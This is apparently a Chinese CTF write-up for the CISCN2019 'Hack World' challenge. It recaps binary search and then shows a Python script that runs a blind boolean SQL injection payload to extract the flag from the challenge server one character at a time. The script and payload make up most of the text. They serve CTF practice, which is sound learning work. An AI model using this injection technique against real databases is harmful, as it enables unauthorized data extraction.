凉凉,数据结构没学好,二分法都忘了
典型二分法
思路
数据(data)为升序排序,要在data中寻找定值key
从中间的 data[mid]开始寻找
key大于data[mid] : 从data[mid+1]~data[end]
key小于data[mid] : 从data[start]~data[mid-1]
key等于data[mid] : 结束
[CISCN2019 华北赛区 Day2 Web1]Hack World
复现平台在BUUCTF
import time
import requests
url = 'http://e208fef8-d158-4ae3-b566-0b6f9bdd4915.node1.buuoj.cn/'
flag = ''
for i in range(50):
#从33到126为可打印的字符
low = 33
height = 126
data = {'id':''}
while low <= height :
mid = (low + height) // 2
data['id'] = 'if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)'%(i,mid)
html = requests.post(url,data).text
time.sleep(1)
if 'Hello' in html :
low = mid + 1
else:
#将小于和等于的情况一起考虑,所以在low~mid中间寻找
height = mid
#出现low = height = mid,若不判断会进入死循环
if height == mid == low:
break
flag += chr(int(mid))
print(flag)
if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)
Sql 注入 要学的骚操作很多,一条一条积累吧,等一有时间就把sqli-lab刷了 hhhh